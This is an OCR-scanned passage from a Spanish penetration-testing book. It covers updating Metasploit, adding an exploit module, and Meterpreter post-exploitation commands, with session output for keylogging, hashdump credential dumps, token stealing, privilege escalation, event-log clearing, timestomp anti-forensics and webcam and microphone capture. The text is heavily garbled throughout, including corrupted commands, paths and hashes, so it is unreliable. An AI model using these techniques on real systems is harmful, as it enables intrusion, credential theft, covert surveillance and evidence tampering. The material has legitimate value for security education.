Metasploit proporciona un mecanismo de actualizacion automético median(‘c{ el uso del comando
msfupdate. Este mecanismo conecta con los servidores de A//e!(!.?plolt a travgs de la URL ’/ztt[?y://
metusploit.com y screaliza una consulta del estado de la base de dal'r,os loca}, V(?l'l ficando el.s q ug sstado
se encuentra y si existen nueves exploits, pavloads, encoders, etcétera. Si cx‘lsten actpahzac:ones se
procede a la descarga de todas ellas, este proceso puede consumir gran cantidad de tiemipo.

rootght:-# wsfupdate
*

[*] Attempting to update the Metasploit Framework...

(*} '

« H : metasploit. com

B cgiig?mircm Tue? 16 Har 2018 12:69:59 GMT until Mon, Gl.Apr 2933 22:02:24 GHT scottsdal
- Issuer: 67969287, http://certificates.qodaddy.com/repository, GoDaddy.com, Inc., Scottsdate,
Arlégggérg?int: da:16:ad:ch:dc: 6F:7d:cf:b7:7e:5e:65:¥9:a7:01;8b:30:82:60:92

(R)eject, accept {t}emporarily or accept (p)e{manently? P

A external/suurce/]avapayload/src/melasplozt/RMIPaylnad.]avg

A external/snurce/javnpayload/src/metasplo@t/AESEncrxption,}avn

A exterual/suurce/javapayload/src/metasploxt/?ayluad1(ustnanager.java

i} externaL/source/javapayload/src/metasploit/Payload.]aya

A external/source/javapayload/sre/metasploit/RiILoader. java

A external /source/javapayload/src/rmi

A external/source/javapayload/src/rmi/AMICaptureServer. java

Fig 3.37: Actualizacion automética con msfipdate,

Como se ha mencionado anteriormente en este [ibro, existe un gran problema con las z.lcma]izaciones
automaticas y es que se pierde el control sobre lo que se ?Sti’\ reahzando en e’! /ramevyor/c.?or
ejemplo, si actualmente se actualiza Metasploit, en su ver51‘()n hl?t:e, s? perdera la funcionalidad
arfopwn y no podré ser utilizada por el auditor en el test de intrusion. Es por esto, que en ’muchas
acasiones se recomienda el uso de la actvalizacién manual y de manera conl.r(')lada. Ad'emas, en el
proceso de actualizacion también se descargan archivos para mejorar la estabilidad del framework.

- Actualizacién controlada de recursos o

Aftadir exploits u otras tuncionalidades a Metasploit es realmente sencillo si se conoce su e'strucm‘ra.
Como se ha mencionado anteriormente en el libro, Metasploit dispm'lc de una serie de directorios
organizados dénde se recogen los exploiis, encoders, payloads, herramientas auxiliares como pueden
ser los escineres, etcétera. Para afiadir un exploif que se haya descargado de Internet, simplemente
hay que afiadir ¢l fichero con extension rb, Ruby, en la.carpeta exploit que se encuentra en la ruta /
pentest/exploits/framework3/modules. Como nota afiadir, que los exploits que se descarguen deben
estar escritos para Metasploit.
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Una vez se disponga de esto claro, el auditor puede personalizar su entorno y sus rutas donde
encontrar sus exploiis a su antojo. Por ejemplo, si el auditor quiere una carpeta denominada
MisExploits que contenga todos los exploits que €l requiera, una buena préctica serfa crear esta
carpeta en la ruta /pentest/exploits/framework3/modules/exploits, de esta manera cuando el auditor
quiera acceder desde msfconsole al contenido de ese directorio, simplemente debera ejecutar use
exploit/MisExploits y elegir el fichero que se requiera cargar o utilizar.

Para el resio de componentes y médulos este proceso es similar y puede ser tevado a cabo de
manera analoga,

Ejemplo: Descarga de exploit y adicién al framework ~
Para el siguiente ejemplo se descargara un exploil del sitio web hilp.:/lexploit-db.com, que se
encuentre escrito en Ruby y preparado para Metasploit. Despuss, se copiara ef exploit a la carpeia
donde se quiera dejar éste y poder cargarlo con el frumework.

En primer lugar se accede al sitio web y se busca el exploit requerido, se puede hacer uso del buscador
que viene incorporado en el sitio a través de su URL http:/hwww.exploit-db.com/search. Una vez se
localice el exploit requerido para llevar a cabo el proceso de explotacion se debe descargar al equipo,
en principio sobre cualquier ruta. Hay que tener en cuenta que el exploit estd preparado para ser
utitizado por el framework.

1/ KB Adobe Flash Player AVM Ve %

& -7 C | @ wwwexploit-db.com/exploils/19295]

EDB-ID: 19295 CVE: 201)-2110
Author; metasploit  Published: 2012-06-20 Verified: %

Exploit Code: ] Vulnorable App: N/A

o

# This file is part of the Metasploit Framework and #ay be subject to
# redistribution and commercial restrictions. Please see the Hetasploit
# web site for more information on licensing and terms of use,

¥ htip://metasploit.com/

i

require ‘msf/core’

class Hetasploit3 < Mst#::€xplolt::Remote
Rank = GreatRanking

include Msf::Exploit::Remote: sHttpServer: (HTHL

def initialize(info = {})
super{update_info(info,
*Name* => 'Adobe Flash Player AVM Verification togic Array Indexing Code Execution’,
‘Description’ =k %qf
This wodule exploits a vulnerability in Adobe Flash Player versions 19.3.181,23

Fig 3.38: Descarga de exploit.
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Una vez que se dispone del fichero con extension rb, se debe alojar en una rula que cuelgue de la
raiz de los exploits, es decir, la ruta /pentest/exploits/framework3/modules/exploiis. By esta rula
se pueden crear otros directorios o alojar el exploit en alguna ya existente. Para esie ejemplo se
cre‘ar:’t 1na nueva catpeta en la ruta comentada anteriormente cuyo nombre serd MiExploif, Tras la
descarga del exploil se ha denominado flashArtelntrusion.rb ai fichero que o C(‘rfltlellc. Este ﬁchct:o
deberd ser copiado o movido a la ruta /pentest/exploits/framework3/modules/exploits/Mikxploit,

recientemente creada.

root@ht: - /axpilolisk cp flashArtelntrusion.rb /pentest/exploits/framewurk3/module5/e):plcns/n'ti;}?

lot/
root@ht:

soxploits# cd /pentest/exploits/frameworka/modu1es/e§ploitslﬂiExplolt,/
ntest seapleits/frosevorkd/modules/explodts/miERploity Ls

ion.rb . .
rrot@ht; pendest Znxplodts/ bramewsris /modutas axplaits/miexplaity §

| PSS ——. |

Fig 3.39: Adicién de un exploit a una ruta de Metasploil.

Una vez que se dispone de los nuevos exploits en las rutas, y éstos estén pi'(f,]?zu'ud‘us 8¢ debe arrancar
&_/i'um@nfurk para poder interactuar con ellos. Tras lanzar msfeonsole se utiliza ef comando nye para
cargar el médulo wtilizando {a ruta dénde sc aloja ﬂashArle{ntrz.:sion.rbA.Como e puede observar
en la siguiente imagen es bastante sencillo e intuitivo la adicién de exploifs y su organizacion en el
[ramework, medianle el uso de directorios.

msf > use exploit/bliExp\oit/flashArteIntm§inn
nsf exploit{flashArteIntrusion) > show options

Module options (exploit/MiExploit/flasbArtelntrusion):

Fig 3.40: Acceso al exploit afiadido al framework.
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Capitulo IV
Meterpreter & Post-Explotation

i, Ambite

L presente capitulo sc centra en el dmbito de la post-exploiacion una de las fases més delicadas del

lest de intrusion. Hn esta fase el auditor puede obtener gran cantidad de informacion sobre el estado

de ura red, de una maquina o inciuso, poder obtener acceso a zonas donde antes no se podia acceder,
3

En muchas ocasiones se quiere llegar a zonas de la red desde las que un auditor, en ¢l estado actualf
no puede lograr acceso. Pero si es cierto que el auditor puede demostrar a la organizacion que estd
siendo auditada, que tener un mal disefio de red, o no delimitar correctamente os accesos a zonas
de la red sensibles, pueden provecar accesos no autorizados. En muchas ocasiones estos accesost
no se realizan directamente desde la maquina que dispone el auditor, y si a través de miquinas con
menor peso en la organizacion, las cuales proporcionan conectividad con zonas mas sensibles de
la red. Incluso, puede que las maquinas comentadas anteriormente compartan credenciales con las
maquinas mas importantes, un grave error de seguridad que sin duda el auditor podrd aprovechar
para impersonalizar.

La post-explotucion es por tanto una de las fases comprendidas en un test de intrusion y fa cual debe
ser procesada de manera minuciosa. En esta fase el auditor recopilara informacion real del escenario,
atilizando como intermediario una maquina vulnerada en la fase anterior, la fase de explotacion.

En dicha fase se indicaba que 1a eleccion del payload es una aceion critica ya que las funcionalidades
que se podrian realizar después de lograr la explotacion dependian de éste. En algunas ocasiones no
se necesitan muchas funcionalidades y sf una en concreto. Mientras que en otras ocasiones lograr
tener un control completo sobre fa maquina victima puede ayudar, y mucho, en la fase de post-
explotacién.

Cuando se dispone de acceso fisico a una méaquina, uno de los payload mas interesantes que se
puede ejecutar es algunc que proporcione una escalada de privilegios en la misma. No es necesario
montar un Meterpreter, ¢l cual se estudiard méas adelante, para simplemente elevar privilegios.

También hay que recalcar que en muchas otras ocasiones se necesita de payloads como Meterpreter
para poder disponer de un contro! total sobre la maquina victima. Pero no sélo un control total sobre
fa méquina vulnerada, sino aprovechar esta situacién para controlar el entorno de dicho equipo.
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Para poder ilustrar esta Oltima sentencia se propoue un escenatio como el siguiente:

- El auditor dispone de conectividad con una méquina con sistema operativo Microsof
Windows XP vulnerable y posee también los exploifs necesarios para conseguir acceso.

- El anditor no dispone de conectividad directa con una méaquina con sistema operativo
Microsoft Windows Server 2008. Entonces, el auditor no puede auditar prioridicha méquina.

- El sistema operativo que utiliza el auditor no es relevanie, pero Sse supone que es una
distribucion BackTrack.

- La méquina con Windows XP si dispone de conectividad con la méquina Windows Server
2008.

Siel audilor vulnera la maquina con Windows XP dispone de al menos conectividad con el equipo
Windows Server 2008. A partir de ese momento se puede auditar ¢ intenlar lograr acceso a dicha
maquina. Como se verd mis adelante se pueden probar distintas técnicas para conseguir dicha
accion. La impersonalizacion de usuarios o técnicas como el pivoting ayudan y mucho al auditor en
esle tipo de escenarios.

En resumen, la fase de posi-explotacion es tan exiensa como importante en un (est de intrusion. El
auditor debe tener en cuenta cual es el objetivo o los objetivos y entonces realizar una planificacion
para lograr éstos. Conocer el escenatio es importante y en esta fase se consigue mas informacién
sobre el escenario real del que se dispone.

2. Comandos basicos de Meterpreter

Meterpreter es un payload disponible para Metasploit con el que se puede realizar casi toda accién
imaginable. Meferpreter aporta una consola o lfnea de comandos propia con sus comandos incluidos.
Ademas, puede ejecutar sus propios scripts lo cual hace que aumente la polencia y posibilidades que
ofrece Meterpreter. También se pueden cargar médulos que aportan funcionalidades exira con los
que los usuarios pueden realizar mas acciones.

Se pueden desarrollar scripts y afiadirlos al framework de manera sencilla. Este hecho dota a
Meterpreter de flexibilidad y la posibilidad de aumentar las funcionalidades que el payload aporta a
los usuarios. Es reaimente dificil enumerar todas las acciones que se pueden realizar con Mefterpreter,
cl alcance de la imaginacion del usuario es realmente importante.

La técnica que se utiliza para ejecutar un Meferpreter en una maquina vulnerada es la inyeccion en
memoria de DLLs en los procesos en ejecucion del equipo vulnerado. Después de explotar el equipo
vulnerable se cargan dichas DLLs en el proceso vulnerado y se obliene una interfaz intuitiva de linea
de comandos. Generalmente, Meterpreter migra de un proceso a otro para evitar que el cierre o la
caida del proceso vulnerable haga caer la conexién con la méquina atacante.
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Los comandos propios de Meterpreter se estructuran en tres categorias principales que son las
siguientes:

- Core commarnds. -

- Stdapi .

- Priv

Core commands . ) o
Los comandos de Lipo nicleo permilen readizar distintas funciones bisicas en la sesion en la maquina
remota. Bl objetivo de estos comandos es el de ejecutar scripts, cargar médulos e interactuar con la
maguina remoti. ‘

En la imagen s¢ puede visualizar el listado completo de los comandos de tipo nieleo. Més adelante

.g¢ estudiardn las distintas acciones que se pueden realizar con ellos agrupdndose por tipos de

funcionalidades que presentan.

Core Commands
Command Description
? Help menu
background Backgrounds the current session )
bgkill Kills a background meterpretgr script
bglist Lists running background s;rlpts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel . :
exit Terminate the meterpreter session
help Help menu
info pisplays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode )
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use . Deprecated alias for ‘load’
write Writes data to a channel

Fig 4.01: Listado de core commands de Meterprefer:

Comandos para la ejecucion en segundo plano

Existen varios comandos que permiten al usuario ejecutar scripts de Meferpreier cn,scgundo plam}.
Bl comando bgkill permite al usuario eliminar un script de Meler;zl)reter que se esté ejecutando. [_*,I.
comando bglist permite listar los scripts de Meterpreter que se estn ejecutando aclualmente, y por
Gltimo el comando bgrun permite ejecutar un script de Meterpreter en segundo plano.
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Hay que tener en cuenta la existencia del comando buckground, el cual permite dejar Ia sesion de
Meterpreter en segundo plano y volver a la interaccién con la interfaz de Metaspioir que sc esié
uttlizands, por ejemplo, msfeonsole o msfcli.

En la imageir se puede visualizar como se ejecuta un script denominado keylogrecorder; ! cual
permite realizar capturas de las pulsaciones de teclado de la miquina vulnerada. Se puede visnalizar

como se utilizan los distintos comandos para listar los trabajos en segundo plano y finalizarlos.

weterpreter » bgron keylagrecorder

i~1 Executed Meterpreter with Job Ip 2

meterpreter > [+] explorer.exe Process found, migrating into 1726

11 Migration Successfull!

[*] Starting the keystroke sniffar...

i*1 keystrokes being saved in to /roat/.msf3/lngs/scripts/keylogrecorder/192.168.6.57_291208?&.1
5@. txt

{1 Recording

meterpreter » bhglist

{#1 Job 2: ["keylogrecorder™]
meterpreter > bglist

I+1 Job 2: ["keylogrecorder"]
meterpreter > bgkill 2

=] Killing background job 2...

Fig 4.02: Ejecucion de lus background commands.

Ejecuciones y cargas
Para realizar ejecuciones de seripls o cargar médulos que proporcionen nuevas funcionalidades

a Melerpreter o incluso ejecutar los ficheros de extension RC para automatizar tareas se pueden
utilizar distintcs comandos.

El cemando mee se encuentra en desuso y es equivalente al comando load con 2l que se pueden carpar
médulos para Meterpreter. Bl comando resource permite ejecutar archivos de automatizacion, lns
conocidos por la extension RC. Uno de los comandos mds importantes es run ya que permite ejecttar
los scripis de Meterpreter. Bstos scripts son una de las partes mas importantes de la herramienta por
toda la funcionalidad que aportan y el constante desarrolio de éstos por la comunidad.

Comandos de ayuda
Los comandos de ayuda e informacién de los que dispone Melerpreter son los siguientes:
- help. Bl cual muestra informacién de uso del comando del que se requiere informacién,

En ocasiones no se encuentra disponible ayuda def comando a través de help, es por elio que
hay que ejecutar el comando del que se requicre informacion con e! pardmetro ~h activo,

- Elcomando ? proporciona una ayuda similar a la del comando help.

Interaccién y uso de canales

Ll comando execute no es un comando de tipo nicleo o core command, pero se utiliza para ejecuiar
una aplicacién en la maquina vulnerada, es decir, en el equipo remoto. Como se puede visualizar en
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a imagen, con este comando se pueden ejecutar aplicaciones en Ia méquina remota. Este comandt
se explicard més adelante,

Una vez que Meferpreter ha ejécutado un proceso en la maquina remota se puede interactuar con

- éste a través de fa linea de comandos. Por ejemplo, con ¢l comando exvecute se ha lanzado unacmd

en la maquina remota y como se ha ejecutado execute con el pardmetrc ~¢ se ha creado un canal por
el que se podrd interactuar con dicho proceso. ‘

El comando channel permite conocer los canales que se encuentran activos, € incluso con los
parimetros -ty --w es posible leer la salida dei proceso correspondiente y escribir en dicho proceso.
El comando read es cquivalente a utilizar la instruccién chanmel - mientras que el comando wrire{
es compatible con {a instruccion channel —w. '

meterpreter » execute -¥ cmd.exe -H -c
Process 1096 created,

Channel 1 created,

meterpreter > channel -1

Id Class Type'

T3 stdapi_process

meterpreter > read 1
tead 104 bytes from 1:

Microsoft Windows XP [Versin 5.1,2660)
{€) Copyright 1985-2681 Micrnspft Corp.

C:\WINDOWS\system32>
meterpreter > write 1 . :
Enter data followed by a *.' on an empty line: i

cd \

i*l Wrote 5 bytes to channel 1,
meteroreter > read 1

flead 11 bytes from 1:

cd \

C:\>
lneterpretar > § I

Fig 4.03: Interaccion con el canal creado en un proceso,

El comando inferact permite interactuar con el proceso ejecutado en fa miquina remota, simplemente
indicando el identificador del canal que hay abierto con el proceso remoto, En el caso del proceso
cmd.exe abierto anteriormente se debe ejecutar la instruccion interact <id canal™> para poder escribir
en la linea de comandos remota.

Stdapi

Lste tipo de comandos permiten al usuario realizar acciones comunes, que cualquier usuario puede
ejecutar en el sistema operativo que utilizan, sobre el sistema operativo de la méguina remota,
Existen distintas categorfas de comandos de tipo stdapi que son las siguientes:
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- File System Commands. Los comandos del sistema de archivos permiten al atacante o
auditor realizar operaciones sobre los archivos tanto remotos come locales.

- Networking Commands. Los comandos de red permiten al dsuario realizar consuilas y
gestionar los dispositivos de red de la maquina remota.

- System Commands. Los comandos de sistema permiten gestionar recursos del sistemd.,

- User Interface Coinmands. Los comandos de interfaz de usuario permiten realizar
acciones sobre el escritorio, captura de pulsaciones de teclado, captura de pantalia o el tiempo
de inactividad del sistema.

- Webcam Commands. Estos comandos permiten grabar del miicrotono del £qUipo remnte
st lo hubiera, listar las webcams disponibles en la maquina remola o, incluso, reatizar
fotografias de fa viclima con la webcam.

File System Commands
Bl listado de comandos para realizar operaciones sobre el sistema de archivo, lanto local como
remoto se puede visualizar en la siguiente imagen.

Stdapi: File system Commands
Command Bescription
cat Read the contents of a file to the screen
cd thange directory
dal belete the specified file
download Download a file or directory
edit £dit a file
getlwd Print local working directory
getwd Print working direciory
led Change local working directory
1pud Print local working directory
s List files
mkdir Make directory
pwd Print working directory
m Delete the specified file
rmdir Remove directery
search Search for files
upload Uplosd a file or directory

Fig 4.04: Listado de file spstem commands de Meterpretor,

Como curiosidad indicar que tos comandos clésicos de GNU/Linux estén disponubles para el sistema
remoto. Es decir, la ejecucion de s, que es urn comando no vélido en Winduws, provoca la obtmc;c»i.
det listado de archivos de la maquina Windows vuinerada.

Hay que destacar los comandos upload y download con los que se puede subir un archivo a la
méaquina vulnerada y descargar un archivo de la maquina victima. Como se puede visualizar en fa
imagen siguiente la sintaxis de eslos comandos es realmente sencitla.

También es interesante ver los comandos rm, mkdir, rmdir, edit que son facilmente entendibles. El
comando search permite realizar biisquedas de ficheros en el equipo remoto. Search dispone de

parametros psra afinar las bisquedas, por ejemplo con el parametro —f se pueden buscar palrones de
ficheros, con el parfmetro —d se pueden realizar basquedas de directorios, unidades, etcélera.

lmg;ggg;g;gg > upload /root/hack,txt C:\\

] uploading : /root/hack.txt -»> :\

[r} uploaded : /root/hack.txt -» c:\\hack.txt
meternreter > cat c:\\hack,ixt

prueba

seterpigter > download c:\\claves.txi /root

{+1 downloading: c:\claves,txt -> /root

¢] downloaded : ¢:\claves.ixt -> /root/claves.txt

Iig 4.05: Subida y descarga de archivos 4 la maquina vuluerada.

Networking Commands '
2] listado de comandas para reaizar las gestiones de red se puede visualizar 4 continuacion.

Stdapi: Hetworking Commands

Command Description

ipconfig Display interfaces

portfud forward a local port tc a remot2 service
route view and wodify the routing table

tig 4.06: Lislado de comandos para gestion de red con Meterpreter.

Fil comando roste permite visualizar y manipular las entradas de la tabla de rutas del equipo remoto.
Por otro lado, el comando ipconfig permite visualizar la configuracion de red de la mdquina remota.
Bl comando porifwd permite realizar port forwarding sobre la maquina vulnerada.

System Commands
L.os comandos de sistema son realmente Utiles e interesantes. Son de los comandos de Meferpreter

mis utilizados por los usuarios ya que proporcionan gestion del sistema vulnerado. A continuacién
se puede visualizar un listado de los comandos de sistema de Meterprefer.

Stdapi: System Commands
s T
Command Description
clearev Clear the event log .
drop_token Relinquishes any active impersonation token.
execute Execute a command o
getpid Get the current process }d§nt1fier . ] .
getprivs Attempi to enable all prxvnleges ava%lahle to the current process
getuid Get the user that the server is running as
kitt Terminate a process
ps List running processes
reboot Reboots the remote computer .
reg Modify and interact with the remote reg§stry
revaself Talls RevertToSelf{) on the remcte machine
shell Drop into a system command shell
n shuts down the remote computer
2225?°¥oken IALtempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as 03

Fig 4.07: Listado de comandos de sistema de Melerpreter.
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Hay aiie destacar ciertos comandos del listado como es clearey, con el que ae puede eliminar
infermacién de los registros. Con este comando el atacante puede borrar las hye! las de las operaciones
que ha realizado cn e! sisterna vulnerado. Se elimina informacién correspondiente a los regisiroy de
aplicacisn, de soguridad y del sistemna.

Los vomandos finalizados en Ia palabra token aportan Ia posibilidad de suplantar la identidad de
olro ustiario © servicio. Bf comando steal_ioken permite cambiar Ia ideniidad través del P de log
proceses, La sintaxis es sencifla steal_token <PID>.y de esta manera s adquiere fa identidad de
proceso que se guieea, Para volver a la identidad anterior se disponie de! cnmando drop_token, gue,
cjecutario s vuelve a la identidad previa, Para conocer la identidad que se dispone en un momentn
dado s¢ prede wtifizar el comando gefuid. Otros comandos relacionados son geipid con el que e
‘obtiene el PIFY del proceso en el que se estd ejecutando la sesién de Meterpreier en ese instante, v
fey2self con el que se puede volver a la identidad anterior, por lo su tuncionalidad es similar a i o]
comanda drop loken,

|
:
1
i

o

Los comandos kill y ps permiten eliminar procesos que se estan ejecutande en ia méguina remgota y
listar {03 procesos con gran cantidad de detalle, entre toda esta informacion ofrecida destaca el P10
de los procesos. Otros comandos a tener en cuenta son reboot y shutdown, que permiten reiniciar y
apagar ln indquing vemoty respectivamente.

il comando reg proporciona una estructura para poder interactuar con «f registro de la maquing
remota. La sintuxis es reg <comandogs> “pardmetros>. A continuacién se especifican fos tipos de
comandos que recibe reg: ‘

= Lrwmkey. Tste comando enumera o fista el contenido Je uny clave concreta. Como
cjemplo se presenta la si guiente instruccion: reg enumbey -k HKLi\Sofhware.

- Createkey. Crea una clave en Ia entrada que se especifique. Couno ciemplo se presenia;
reg createkey ~k HKCUWhacked

- Delefekey. Eliminala clave correspondiente con la ruta que se indique en ¢! pardmetro -k
Como cjemplo se presenta Ia si guiente instruccion: reg deletekey -k HK CiMhacked

- Queryclass. Consulta el tipo de la clave.

- Setval. Asigna un valor a una clave de] registro. Un ejemplo serfa: reg seivalue -k FKCU
haicked v nompre —d valorDeDatos .

= {ueryval. Consulta el valor de un campo de una clave dei registre. Un ejemplo seria: reg
queryval —l HKCU\Vhacked —v nombre,

El comando shell es uno de los més interesantes ya que proporciona una linea de comandos sobre

la miquina remota. De este modo se puede administrar el equipo remoto como si se estuviers
fisicamente en el mismo,

Por iltimo, el comando sysinjo ofrece informacién sobre e sistema vulnerado. Dicha informacién
consiste en ei nombre del equipo, el sistema operativo,(el Service Pack en caso de que sea un
Windows), la arquitectura del equipo y la configuracién regional de la maquina.

Capitulo IV Meterpreter & Post-Explotation

User Interface Commands . ‘ o
Los comandos de interaccién con la interfaz de usuario preporcionan al atacante la posibilidad ae

gestionar propiedades del escritorio, el tectado y ¢l propio sistema asi como la actividad de éste
fistos comandos pusden ser visualizades en la siguiente imagen. )

Stdapi: User interface Commands

Cummand Bescription

enumdesktops  iisi all accessible desktopsdanﬁtwéndnw stations
tdeskly Gel the cutrent meterpreter deskto .
gzlgtizé b Returns the number of seconds the remote user has been idle
keyscan _dump  Bump the keystroke buffer
keyscah _start  Start cepturing keystrokes
keyscan_stop  Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdeskiop Change the meterpreters curreng desktop
uictlh Lontrol some of the user lnterface components

H inear H. (s arl o elerprefer
Fig 4.08: Listado de comandos parz gestionar la interfaz de wsuario de Meter rete

Cabe destacar el comando idletime con el que se puede consultar el tiempo de inactividad del sistema
» . icti i i ie ictima Heva qif 1hiear ~':‘t> 2.
por parle de la victima, cs decir, el tiempo que fa victima lleva sin utilizar su sistema

Los comandos que empiczan por keyscait proporcionan control sobre el teclado de la viciima. C;{or‘
1 comando saci ] 1 aqui ulnerd
el comando feyscan_stiri se empiezan a capturar las pulsaciones de teclado del equ ipo vuln 61;\ 0,
mizniras que con keyscan_stop se dejan de capturar dichas pulsacienes. El comando key.s:can_ zm;p
obiiga a Meterpreter a vealizar in voicado del buffer donde estdn contenidas ias pulsaciones en Ja
méquina victima,

Con &l comando sereenshot se cbtiene una captura de pantalla de la maquira de la v:ctn,na.. E
archive resultante es descargado automiticamente por Meierpreter y dlojado en fa carpeta dqnde ¢
csié ejecutando Merasploit, por cjempio /reot/<nombre aleatorio> Jpg.

Webeamn Commands ' . e el micetone
1 isi i k T G

Los comandes stdayi de tipo wehcam son muy visiosos ya que realizan acciones sohre el mic 6fo

y la webcam de un equipo vulnerado. Ei listado de comandos se puede visualizar a conticuacion.

Stdapi: Webcam Commands

Command Descriptien

record mic Record audio from the default microphone for X seconds
webcam_List  List webcams .
webcam_snap  Take a snapshot from the specified webcam

Tig 4.09: Listado dc comandos refacionados con el micréfono y la webcan.

El comando record _misc dispone de varios pardmetros interesantes. El pardmetro —d indica el
numero de segundos que se grabardn en la maquina remota, hay que lener en cucntfl que por defc[scto
es | segundo. El pardmetro ~f indica en qué ruta de la méquina del atacante, es decir la ruta local, se
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almacenard fa grabacidn. El pardmetro —p indica si automéaticamente se ejecutara e archivo de audio
tras la grabacion, por defecto viene activado.

El comando webcam_list permite obtener un listado de las webcam disponibles en la ndquina
vulnerada. En caso de disponer de una webcam en la maquina remota, se puede utilizar el comando
webcam_snap con el objetivo de realizar fotografias de la victima, Sste comando dispone de distintos
pardmetros que aportan funcionalidad at comando,

Priv

Los comandos del médulo priv proporcionan funcionalidades para eievar privilegios, manipular
informacion sensible que puede ser utilizada por un analista forense y realizar otras tareas de inerds
como es la manipulacion del fichero SAM, Security Account Manager-.

k’riv:_ Elevate Commands o

Comsiand Descriptien

getsystem | Altempt to ,glevate your.privilege to that of local system,

Privi -Password datzbase Coamands:

- Command ‘Description ‘

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

_ Command 'Description

timestomp Manipulate file MACE attributes
Fig 4.10: Listado de comandos def médulo priv

El médulo se divide en tres categorias, que permiten realizar diversas acciones. Dichas categorias
son:

- Elevate Commands. Realiza elevaciones de privilegios en el sistema vulnerado,
- Password Database Commands. Obliene informacion sobre usuarios y contrasefias.

- Timestomp Commands. Realiza la manipulacién de los atributos de [os archivos.

Elevate Commands
El comando getsysiem permite realizar intentos para elevar privilegios en el sistema vulnerado. Con
sistemas Windows XP se conseguird realizar esta operativa de manera senci lta, pero si el usuario

se encuentra con Windows 7 la elevacién de privilegios supone un reto mayor, el cual se verd més
adelante,

Capitulo [V. Meterpreter & Post-Expiotaiion

r > getuid

erver username: PRUEBAS-01768CC\Administrador
neterpreter > getsystem

...got system (via technique 1).

Ler > getuid

erver username: NT AUTHORITY\SYSTEM
eterpreter >

Fig 4.11: Elevacion de privilegios en un sistema Windows XP vuinerado.

Password Database Cominands

El comando hashcdump oftece la posibilidad de oblener los hashes y usuarius que se eacuentian i
Nt i 1 fo Ao 18 rEaHIOTS Hrar .

et sistema, Como se verd ids adelante esta informacion es importante cuando se requicre utidizar la

impersonalizaciin de usuarios.

neterpreter » hashdump ) o . o
dministrador:509:8735172c3a77d2c6aad3ba35h51404ee : 512099680997 c3h5588caTacdcdaeshy: : ;

sistente de ayuda:1099:317dd(—)337ea2d549dc6743cd7ee77792:eIec1hc581f§?0'f3a99§794428799650: b
[nvitada:501:aad3b435b514e4eeaad3b435b51494ee:31dﬁcfeedlﬁae931b73c59(1leac(faecﬂ- H

pepe: 1863:8735172¢3a77d2cb6aad3b435b51404ee: 512029069997 c3h5588cafacdcaedsg: : g,
SUPPORT_38894500:1082: aad3b435b51404eeaad3ba3sbs1404ee: 3chodad61c43R8978ebcc9440e725954:
eterpreter »

Fig 4.12: VYoicado de usuvatios y fashes de la SAM.

Timestomp Commands . .
El comando timestomp permite manipular los atributos de un fichero del sistema vulnes Ad}). iCon
qué fin? Principalmentc, sc busca realizar un antiforensics con el que las pistas dejadas en ef equipo
queden confusas e incongruentes.

El comando implementa gran variedad de opciones que se listan a continuacion:

- Modificacién del iftimo acceso. Para llevar a cabo esta accion se debe ejecutar la siguienle
instruccion timestomp <ruta fichero remoto> -a "12/22/1986 12:12:34". &l formato (lli (ec;hil
va entrc comillas y tiene dos campos, el primero es Ia fecha con el formato MM/DD/YYYY,
y el segundo es la hora con formato HH:MM:SS.

- Fecha decreacién def archivo. Se puede modificar la fecha de creacion del archivo a través
de la siguiente instruccion timesiomp <ruta fichero remoto> -¢ “12/22/1986 13:05:57".

- Fecha de medificaciéon. Se puede modificar esta fecha con la siguiente instruccion
timestomp <ruta fichero remolo> -m “12/22/1986 23:23:12".

- Forzar modificacion de todos los campos anteriores. Para asignar la misma fecha a los
campos de ultimo acceso, modificacion y creacién se dispone de la siguiente instruccién
imestomp <ruta fichero remoto> -z “12/22/1986 22:34:54".

- Visualizacién de los atributos. Para visualizar los atributos de un fichero del equipo
remoto se ejecuta la siguiente instruccion timestomp <ruia fichero> -v.

- Para ¢jecutar una operacion sobre los atributos de un directorio de manera recursiva se
dispone de la siguiente instruceion fimestomp <ruta fichero> -r.
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{Belelfreler > tInestony ¢:\ynack, TXT o7

Fiodified 1 2012-60-28 18:44:56 40200
hccessed i 2012-68-29 14:38:24 +6206
reated 1 1986-12-22 12:12:34 +6168

Gntry Modified: 2012-88-29 14:28:31 +8208

clerpreter > timestomp c:\\hack.txt -g "12/22/1986 12:12:34*
I*} setting specific MACE attributes on c¢i\hack. txt
Eggg;preter > timestomp ¢:\\hack.ixt -v

ndifizd ¢ 2812-08-28 18:44:58 +8200
Mecessed 1 2012-88-29 14:36:24 +0200
reated T 19B6-12-22 12;12:34 10100

intry Modified: 1986-12-22 12:12:34 4101608

ieterpreter » timestomp c:\\hack.txt -m "12/22/1986 12:12:34"
{*] Setting specific MACE attributes on c:\hack. txt
neterpreler > timestomp c:\\hack.txt -v

Fodified T 1986-12-22 12:12:34 40160
Accessed i 2012-08-29 14:34:32 +9280
reated + 1986-12-22 12:12:34 +6108

Fotry Modified: 1986-32-22 12:12:34 40180
weterpreter > timestomp c:\\back.txt -h

Msage: timestomp file path oPTIONS

Fig 4.13: Manipulacién de atributos de un fichero en ¢l equipo remoto.

3. Scripts de Meterpreter

Existen gran cantidad de scriplts que se pueden ejecutar por Meterpreter en la maquina vulnerada
a través del comando rum. Para conocer que scripis hay disponibles en una sesién de Meterpreier
se debe escribir el comando run y mediante el uso de! tabulador para airiocompletar se mostrard un
mensaje con todas las posibilidades Gue se disponen. ' '

hgtg[preter > run run event_manager
Pisplay all 189 possibilities? {y or n) run file coliector

run arp_scanner run get_applicatien list
run autoroute run get_eny -
run checkvm run get_filezills creds
run credeollect run get local subnets
run domain_list gen run get_pidgin creds
rua dumplinks run get_valid community

run duplicate run getcountermeasure
run enum_chrome run getgui

run enum_firefox run gettelnet

"un enum_logged_on users run getvncpw

run enum_powerzhell env run hashdump

run enum_putty run hostsedit

run enum_shares run keylegrecorder
run_enum vaware run killav f

Fig 4.14: Visualizar listado de seripts disponibles en una sesion de Meterprercr.

Algnnos seripts vealizan funcionalidades similares a lag de algunos comundos comentados

anteriorments. En este apartado se estudiaran los que se consideran mas interesantes para el auditor
y la fase de posi-explotacion.

